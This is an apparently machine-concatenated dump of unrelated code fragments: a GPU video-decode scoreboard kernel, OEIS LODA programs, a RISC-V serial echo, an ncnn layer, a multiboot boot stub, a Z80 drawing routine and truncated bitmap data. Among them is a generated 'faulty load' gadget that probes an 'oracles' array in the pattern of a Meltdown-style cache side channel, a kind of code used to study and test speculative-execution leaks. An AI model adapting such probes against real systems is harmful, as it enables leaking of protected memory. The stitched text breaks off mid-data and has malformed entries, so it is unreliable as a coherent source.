WFStart_B(0,0)<4;4,1> -1:w mov (1) MBINDEX(0,5)<1> WFStart_B(0,1)<0;1,0> (-f0.1) mov (1) StartX<1>:w 0:w // WA for 1-MB wide pictures #else mov (2) MBINDEX(0)<1> WFStart_T(0)<2;2,1> {NoDDClr} add (4) MBINDEX(0,2)<1> WFStart_B(0,1)<4;4,1> -1:w {NoDDChk,NoDDClr} mov (1) MBINDEX(0,5)<1> WFStart_B(0,1)<0;1,0> {NoDDChk,NoDDClr} add (4) MBINDEX(0,6)<1> WFStart_T(0,1)<4;4,1> -1:w {NoDDChk} // Upper MB group (C_B_D_x) #endif // Update WFStart_B[0] add (8) acc0<1>:w WFLen<0;1,0>:w 1:w // WFLen + 1 add (1) WFStart_B(0,0)<1> acc0<0;1,0>:w WFStart_T(0,0)<0;1,0> // WFStart_T[0] + WFLen + 1 MBAFF_Start_Wavefront: mul (16) MBINDEX(0)<1> MBINDEX(0)REGION(16,1) 4:w // Adjust MB order # to be DWORD aligned and (1) CMDPTR<1>:uw acc0<0;1,0>:w SB_MASK*4:uw // Wrap around scoreboard entries for current MB MBAFF_Wavefront_Walk: wait n0:ud // Check for combined "checking" or "completed" threads in forwarded message // 2 MSB of scoreboard message indicate: // 0b00 = "inter start" message // 0b10 = "intra start" message // 0b11 = "No Message" or "inter complete" message // 0b01 = Reserved (should never occur) // MBAFF_MB_Loop: shr (1) PMSGSEL<1>:uw r[CMDPTR,CMD_SB_REG_OFF*GRFWIB+2]<0;1,0>:uw 12:w // DWORD aligned pointer to message handler and.nz.f0.1 (8) NULLREG r[CMDPTR,CMD_SB_REG_OFF*GRFWIB]<0;1,0>:ub AVAILFLAG<8;8,1>:ub // f0.1 8 LSB will have the available flags in ACBDA_C_B_D_ order mov (1) MSGHDRY0.4<1>:ud r[CMDPTR,CMD_SB_REG_OFF*GRFWIB]<0;1,0>:ud // Copy MB thread info from scoreboard jmpi (1) r[PMSGSEL, INLINE_REG_OFF*GRFWIB+16]<0;1,0>:d // Now determine whether this is "inter done" or "no message" // through checking debug_counter // MBAFF_No_Message: #ifdef AS_ENABLED cmp.z.f0.1 (1) NULLREG n0:ud 0 // Are all messages handled? and.z.f0.0 (1) NULLREG cr0.1:ud AS_INT // Poll interrupt bit (-f0.1) jmpi (1) MBAFF_MB_Loop // Continue polling the remaining message from current thread // All messages have been handled (f0.0) jmpi (1) MBAFF_Wavefront_Walk // No interrupt occurs. Wait for next one // Interrupt has been detected // Save all contents and terminate the scoreboard // #include "scoreboard_save_AS.asm" // Save scoreboard control data as well // mov (1) MSGHDR.1:ud 64:ud mov (1) MSGHDR.2:ud 0x0002001f:ud // for 3 registers $for(0; <3; 1) { mov (8) MSGPAYLOADD(%1)<1> CMD_SB(%1-3)REGION(8,1) } send (8) NULLREG MSGHDR null:ud DWBWMSGDSC+0x00300000+AS_SAVE // Save r1 - r3 send (8) NULLREG MSGHDR r0:ud EOTMSGDSC+TH_INT // Terminate with "Thread Interrupted" bit set #endif // End AS_ENABLED MBAFF_Dependency_Check: // Current thread is "checking" but not "completed" (0b10 case). // Check for dependency clear using all availability bits // and (8) DEPPTR<1>:uw MBINDEX(0,1)REGION(8,1) SB_MASK*4:uw // Wrap around scoreboard entries for current MB MBAFF_Dependency_Polling: (f0.1) and.z.f0.1 (8) NULLREG r[DEPPTR,CMD_SB_REG_OFF*GRFWIB+3]<1,0>:ub DONEFLAG:uw // f0.1 8 LSB contains dependency clear (f0.1.any8h) jmpi (1) MBAFF_Dependency_Polling // Dependency not clear, keep polling.. // "Checking" thread and dependency cleared, send a message to let the thread go // MBAFF_Notify_MSG: send (8) NULLREG MSGHDRY0 null:ud MSG_GW FWDMSGDSC+NOTIFYMSG // Current macroblock has been serviced. Update to next macroblock in special zig-zag order // MBAFF_Update_CurMB: add.ge.f0.0 (2) TotalMB<2>:w TotalMB<4;2,2>:w -1:w // Set "End of wavefront" flag and decrement "TotalMB" add (16) MBINDEX(0)<1> MBINDEX(0)REGION(16,1) 4:w // Increment MB indices and (1) CMDPTR<1>:uw acc0<0;1,0>:w SB_MASK*4:uw // Wrap around scoreboard entries for current MB (f0.0.all2h) jmpi (1) MBAFF_Wavefront_Walk // Continue wavefront walking // Top macroblock wavefront walk done, start bottom MB wavefront add.ge.f0.0 (1) WFLen<1>:w WFLen_B<0;1,0>:w 0:w {NoDDClr} // Set bottom MB wavefront length mov (1) WFLen_B<1>:w -1:w {NoDDChk} // Reset bottom MB wavefront length // Initialize 9-MB group for bottom macroblock wavefront mov (8) MBINDEX(0)<1> WFStart_B(0)<1;4,0> {NoDDClr} // Initialize with WFStart_B[0] and WFStart_B[1] mov (4) MBINDEX(0,1)<1> WFStart_T(0,1)<0;1,0> {NoDDChk,NoDDClr} // Initialize with WFStart_T[1] mov (2) MBINDEX(0,2)<1> WFStart_T(0)<0;1,0> {NoDDChk,NoDDClr} // Initialize with WFStart_T[0] add (4) MBINDEX(0,6)<1> WFStart_B(0,1)<4;4,1> -1:w {NoDDChk} // Upper MB group (C_B_D_x) (f0.0) jmpi (1) MBAFF_Start_Wavefront // Start bottom MB wavefront walk // Start new wavefront // cmp.e.f0.1 (16) NULLREGW StartX<0;1,0>:uw WIDTHINMB_1<0;1,0>:uw // Set "on picture right boundary" flag // Update WFStart_T and WFStart_B add (8) acc0<1>:w WFStart_T(0)REGION(1,0) 1:w // Move WFStart_T[0]+1 to acc0 to remove dependency later mov (8) WFStart_T(0,1)<1> WFStart_T(0)<8;8,1> {NoDDClr} // Shift WFStart_T(B)[0:2] to WFStart_T(B)[1:3] mac (1) WFStart_T(0,0)<1> WFLen_Save<0;1,0>:w 2:w {NoDDChk} // WFStart_T[0] = WFStart_T[0] + 2*WFLen cmp.e.f0.0 (1) NULLREG TotalMB<0;1,0>:w 0:w // Set "Last MB" flag (f0.1) add (4) WFLen<1>:w WFLen<4;4,1>:w NewWFOffset<4;4,1>:b // + (0, -1, -1, 1) (f0.1) add (8) WFStart_T(0)<1> WFStart_T(0)REGION(4,1) 1:w (-f0.1) add (1) StartX<1>:w StartX<0;1,0>:w 1:w // Move to right MB (-f0.1) add (1) WFStart_T(0)<1> WFStart_T(0)REGION(1,0) 1:w (-f0.0) jmpi (1) MBAFF_Scoreboard_Loop // Not last MB, start new wavefront walking // All MBs have decoded. Terminate the thread now // END_THREAD #if !defined(COMBINED_KERNEL) // For standalone kernel only .end_code .end_kernel #endif // End of scoreboard_MBAFF
; A062125: Fifth column of A046741. ; Submitted by Jamie Morken(s4) ; 5,56,263,815,1982,4115,7646,13088,21035,32162,47225,67061,92588,124805,164792,213710,272801,343388,426875,524747,638570,769991,920738,1092620,1287527,1507430,1754381,2030513,2338040,2679257,3056540,3472346,3929213,4429760,4976687,5572775,6220886,6923963,7685030,8507192,9393635,10347626,11372513,12471725,13648772,14907245,16250816,17683238,19208345,20830052,22552355,24379331,26315138,28364015,30530282,32818340,35232671,37777838,40458485,43279337,46245200,49360961,52631588,56062130,59657717 mul $0,3 add $0,2 mov $1,$0 mul $0,2 sub $0,1 bin $1,2 add $0,$1 add $0,10 add $1,2 mul $1,$0 mov $0,$1 div $0,6 sub $0,2
; A267937: Binary representation of the n-th iteration of the "Rule 251" elementary cellular automaton starting with a single ON (black) cell. ; Submitted by Simon Strandgaard ; 1,101,11111,1111111,111111111,11111111111,1111111111111,111111111111111,11111111111111111,1111111111111111111,111111111111111111111,11111111111111111111111,1111111111111111111111111,111111111111111111111111111,11111111111111111111111111111,1111111111111111111111111111111,111111111111111111111111111111111,11111111111111111111111111111111111,1111111111111111111111111111111111111,111111111111111111111111111111111111111,11111111111111111111111111111111111111111 mul $0,2 mov $1,10 pow $1,$0 cmp $0,2 div $1,9 sub $1,$0 mul $1,10 add $1,1 mov $0,$1
; A144720: a(0) = 2, a(1) = 3, a(n) = 4 * a(n-1) - a(n-2). ; 2,3,10,37,138,515,1922,7173,26770,99907,372858,1391525,5193242,19381443,72332530,269948677,1007462178,3759900035,14032137962,52368651813,195442469290,729401225347,2722162432098,10159248503045 mov $1,2 mov $2,3 lpb $0 sub $0,1 add $2,$1 add $2,$1 add $1,$2 sub $1,6 lpe mov $0,$1
# Echo characters over serial (requires a USB to UART cable) include ../bronzebeard/definitions/GD32VF103.asm CLOCK_FREQ = 8000000 # default GD32BF103 clock freq USART_BAUD = 115200 # desired USART baud rate # jump to "main" since programs execute top to bottom # we do this to enable writing helper funcs at the top j main # Func: rcu_init # Arg: a0 = RCU base addr # Arg: a1 = RCU config # Ret: none rcu_init: # store config sw a1, RCU_APB2EN_OFFSET(a0) rcu_init_done: ret # Func: gpio_init # Arg: a0 = GPIO port base addr # Arg: a1 = GPIO pin number # Arg: a2 = GPIO config (4 bits) # Ret: none gpio_init: # advance to CTL0 addi t0, a0, GPIO_CTL0_OFFSET # if pin number is less than 8, CTL0 is correct slti t1, a1, 8 bnez t1, gpio_init_config # else we need CTL1 and then subtract 8 from the pin number addi t0, t0, 4 addi a1, a1, -8 gpio_init_config: # multiply pin number by 4 to get shift amount slli a1, a1, 2 # load current config lw t1, 0(t0) # align and clear existing pin config li t2, 0b1111 sll t2, t2, a1 not t2, t2 and t1, t1, t2 # align and apply new pin config sll a2, a2, a1 or t1, t1, a2 # store updated config sw t1, 0(t0) gpio_init_done: ret # Func: usart_init # Arg: a0 = USART base addr # Arg: a1 = USART clkdiv # Ret: none usart_init: # store clkdiv sw a1, USART_BAUD_OFFSET(a0) # enable USART (enable RX, enable TX, enable USART) li t0, USART_CTL0_UEN | USART_CTL0_TEN | USART_CTL0_REN sw t0, USART_CTL0_OFFSET(a0) usart_init_done: ret # Func: getc # Arg: a0 = USART base addr # Ret: a1 = character received (a1 here for simpler getc + putc loops) getc: lw t0, USART_STAT_OFFSET(a0) # load status into t0 andi t0, t0, USART_STAT_RBNE # isolate read buffer not empty (RBNE) bit beqz t0, getc # keep looping until ready to recv lw a1, USART_DATA_OFFSET(a0) # load char into a1 getc_done: ret # Func: putc # Arg: a0 = USART base addr # Arg: a1 = character to send # Ret: none putc: lw t0, USART_STAT_OFFSET(a0) # load status into t0 andi t0, t0, USART_STAT_TBE # isolate transmit buffer empty (TBE) bit beqz t0, putc # keep looping until ready to send sw a1, USART_DATA_OFFSET(a0) # write char from a1 putc_done: ret main: # enable RCU (AFIO, GPIO port A, and USART0) li a0, RCU_BASE_ADDR li a1, RCU_APB2EN_USART0EN | RCU_APB2EN_PAEN | RCU_APB2EN_AFEN call rcu_init # enable TX pin li a0, GPIO_BASE_ADDR_A li a1, 9 li a2, GPIO_CONFIG_AF_PP_50MHZ call gpio_init # enable RX pin li a0, GPIO_BASE_ADDR_A li a1, 10 li a2, GPIO_CONFIG_IN_FLOAT call gpio_init # enable USART0 li a0, USART_BASE_ADDR_0 li a1, CLOCK_FREQ // USART_BAUD call usart_init # main loop (read a char, write a char, repeat) loop_init: # setup USART base addr (won't change in getc + putc loop) li a0, USART_BASE_ADDR_0 loop: call getc call putc j loop
// Tencent is pleased to support the open source community by making ncnn available. // // Copyright (C) 2017 THL A29 Limited, a Tencent company. All rights reserved. // // Licensed under the BSD 3-Clause License (the "License"); you may not use this file except // in compliance with the License. You may obtain a copy of the License at // // https://opensource.org/licenses/BSD-3-Clause // // Unless required by applicable law or agreed to in writing, software distributed // under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR // CONDITIONS OF ANY KIND, either express or implied. See the License for the // specific language governing permissions and limitations under the License. #include "identity.h" #include <algorithm> namespace ncnn { DEFINE_LAYER_CREATOR(Identity) Identity::Identity() { one_blob_only = true; support_inplace = false; } int Identity::forward(const Mat& bottom_blob, Mat& top_blob, const Option& opt) const { int w = bottom_blob.w; int h = bottom_blob.h; int channels = bottom_blob.c; size_t elemsize = bottom_blob.elemsize; int size = w * h; top_blob.create(w, h, channels, elemsize, opt.blob_allocator); if (top_blob.empty()) return -100; #pragma omp parallel for num_threads(opt.num_threads) for (int q=0; q<channels; q++) { const float* ptr = bottom_blob.channel(q); float* outptr = top_blob.channel(q); for (int i=0; i<size; i++) { outptr[i] = ptr[i]; } } return 0; } } // namespace ncnn
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x1cd2d, %r13 nop nop nop nop add $41017, %rdi mov $0x6162636465666768, %r12 movq %r12, %xmm6 vmovups %ymm6, (%r13) nop nop nop and $52452, %rsi lea addresses_D_ht+0x70ed, %r9 nop nop sub %rbp, %rbp movb $0x61, (%r9) nop nop add %r13, %r13 lea addresses_UC_ht+0x755, %rsi lea addresses_WC_ht+0xf091, %rdi nop nop nop nop nop xor %r13, %r13 mov $103, %rcx rep movsl nop and $12034, %r9 lea addresses_normal_ht+0x12089, %r13 nop nop nop nop nop cmp $15268, %rbp movb (%r13), %cl nop nop nop and %r12, %r12 lea addresses_WC_ht+0xb92d, %r9 and %rdi, %rdi movb $0x61, (%r9) nop nop nop and %r13, %r13 lea addresses_A_ht+0x592d, %rsi lea addresses_WC_ht+0x738d, %rdi nop nop nop nop nop dec %rdx mov $53, %rcx rep movsl nop nop nop nop nop cmp $53216, %rsi lea addresses_A_ht+0x1922d, %r13 nop nop nop nop nop dec %r9 mov $0x6162636465666768, %r12 movq %r12, (%r13) nop nop nop sub %r12, %r12 lea addresses_A_ht+0x1898d, %rsi lea addresses_WC_ht+0x1605, %rdi clflush (%rdi) nop nop cmp %r9, %r9 mov $11, %rcx rep movsb nop add %rbp, %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi // Store mov $0xcfaad0000000ded, %rdi nop cmp $1283, %rbp movw $0x5152, (%rdi) nop nop nop nop sub $47866, %r10 // Store mov $0x5db0300000008bd, %rbp nop nop nop nop cmp $8227, %rax mov $0x5152535455565758, %rsi movq %rsi, (%rbp) nop nop nop dec %rbp // Faulty Load mov $0x243fc0000000092d, %rsi nop xor %r10, %r10 movb (%rsi), %al lea oracles, %r10 and $0xff, %rax shlq $12, %rax mov (%r10,%rax,1), %rax pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
# # VOS kernel # Copyright 2018 Michal Harasimowicz # # Declare constants used for creating a multiboot header. .set ALIGN, 1<<0 # align loaded modules on page boundaries .set MEMINFO, 1<<1 # provide memory map .set GRAPHICS, 1 << 2 # flag for starting graphics mode (not used) .set FLAGS, ALIGN | MEMINFO # | GRAPHICS this is the Multiboot 'flag' field .set MAGIC, 0x1BADB002 # 'magic number' lets bootloader find the header .set CHECKSUM, -(MAGIC + FLAGS) # checksum of above, to prove we are multiboot # Declare a header as in the Multiboot Standard. We put this into a special # section so we can force the header to be in the start of the final program. # You don't need to understand all these details as it is just magic values that # is documented in the multiboot standard. The bootloader will search for this # magic sequence and recognize us as a multiboot kernel. .section .multiboot .align 4 .long MAGIC .long FLAGS .long CHECKSUM .long 0x00000000 ;/* header_addr */ .long 0x00000000 ;/* load_addr */ .long 0x00000000 ;/* load_end_addr */ .long 0x00000000 ;/* bss_end_addr */ .long 0x00000000 ;/* entry_addr */ ;/* Request linear graphics mode */ ;.long 0x00000000 ;.long 0 ;.long 0 ;.long 32 # Currently the stack pointer register (esp) points at anything and using it may # cause massive harm. Instead, we'll provide our own stack. We will allocate # room for a small temporary stack by creating a symbol at the bottom of it, # then allocating 16384 bytes for it, and finally creating a symbol at the top. .section .bootstrap_stack, "aw", @nobits stack_bottom: .skip 32768 # 32 KiB stack_top: # The linker script specifies _start as the entry point to the kernel and the # bootloader will jump to this position once the kernel has been loaded. It # doesn't make sense to return from this function as the bootloader is gone. .section .text .global _start .type _start, @function _start: # Welcome to kernel mode! We now have sufficient code for the bootloader to # load and run our operating system. It doesn't do anything interesting yet. # Perhaps we would like to call printf("Hello, World\n"). You should now # realize one of the profound truths about kernel mode: There is nothing # there unless you provide it yourself. There is no printf function. There # is no <stdio.h> header. If you want a function, you will have to code it # yourself. And that is one of the best things about kernel development: # you get to make the entire system yourself. You have absolute and complete # power over the machine, there are no security restrictions, no safe # guards, no debugging mechanisms, there is nothing but what you build. # By now, you are perhaps tired of assembly language. You realize some # things simply cannot be done in C, such as making the multiboot header in # the right section and setting up the stack. However, you would like to # write the operating system in a higher level language, such as C or C++. # To that end, the next task is preparing the processor for execution of # such code. C doesn't expect much at this point and we only need to set up # a stack. Note that the processor is not fully initialized yet and stuff # such as floating point instructions are not available yet. # To set up a stack, we simply set the esp register to point to the top of # our stack (as it grows downwards). movl $stack_top, %esp and $-16, %esp pushl %esp pushl %eax ;/* Multiboot header magic */ pushl %ebx ;/* Multiboot header pointer */ # We are now ready to actually execute C code. We cannot embed that in an # assembly file, so we'll create a kernel.c file in a moment. In that file, # we'll create a C entry point called kernel_main and call it here. call kernel_main # In case the function returns, we'll want to put the computer into an # infinite loop. To do that, we use the clear interrupt ('cli') instruction # to disable interrupts, the halt instruction ('hlt') to stop the CPU until # the next interrupt arrives, and jumping to the halt instruction if it ever # continues execution, just to be safe. We will create a local label rather # than real symbol and jump to there endlessly. cli hlt .Lhang: jmp .Lhang # Set the size of the _start symbol to the current location '.' minus its start. # This is useful when debugging or when you implement call tracing. .size _start, . - _start
#ruledef test { ld {x: u8} => 0x55 @ x } ld 6 * 2 ; = 0x550c
;***************************************************** ; ; Video Technology library for small C compiler ; ; Juergen Buchmueller ; ;***************************************************** ; ----- void vz_char_draw(int x, int y, int c, char ch) SECTION code_clib PUBLIC vz_char_draw PUBLIC _vz_char_draw EXTERN vz_shape EXTERN char_shape ; This one tied to vz_shape so can't ween off the stack ; without fixing vz_shape -- so left as is .vz_char_draw ._vz_char_draw push ix ;save callers ix ld ix, 2 add ix, sp ld l,(ix+8) ; get x ld h,(ix+9) push hl ld l, (ix+6) ; get y ld h, (ix+7) push hl ld hl, 5 push hl ; width push hl ; height ld l, (ix+4) ; get c ld h, (ix+5) push hl ld a, (ix+2) ; get ch cp $20 jr nc, char_shape1 ld a, $20 char_shape1: cp $80 jr c, char_shape2 ld a, $20 char_shape2: sub $20 ld l, a ; * 5 ld h, 0 ld e, l ld d, h add hl, hl add hl, hl add hl, de ld de, char_shape add hl, de push hl ; *data push ix call vz_shape pop hl ld sp, hl ; clean up stack pop ix ;restore callers ix ret
; A137325: Number of terms in the Janet periodic table of the elements 32 columns: ordered 14 2's, 10 4's, 6 6's, 2 8's. ; 2,2,2,2,2,2,2,2,2,2,2,2,2,2,4,4,4,4,4,4,4,4,4,4,6,6,6,6,6,6,8,8 sub $0,1 pow $0,2 div $0,165 mov $1,$0 add $1,1 div $1,2 mul $1,2 add $1,2
;###########################################; ; Graphics management library, and assets. ; ;###########################################; .DATA ; DATA FOR PHAGE IMAGE ; Structure is this way: ; - byte Width (in pixels) ; - byte Height (in pixels) ; TOTAL: 2 bytes per image header IMAGE_WIDTH EQU 0 IMAGE_HEIGHT EQU 1 ; ------------------------------------------------------------ ; PHAGE_1 DB 51 DB 50 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0 DB 0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0 DB 0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,,0,0,0,0,0,0 DB 0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0 DB 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0 DB 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0 DB 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0 DB 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0 DB 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0 DB 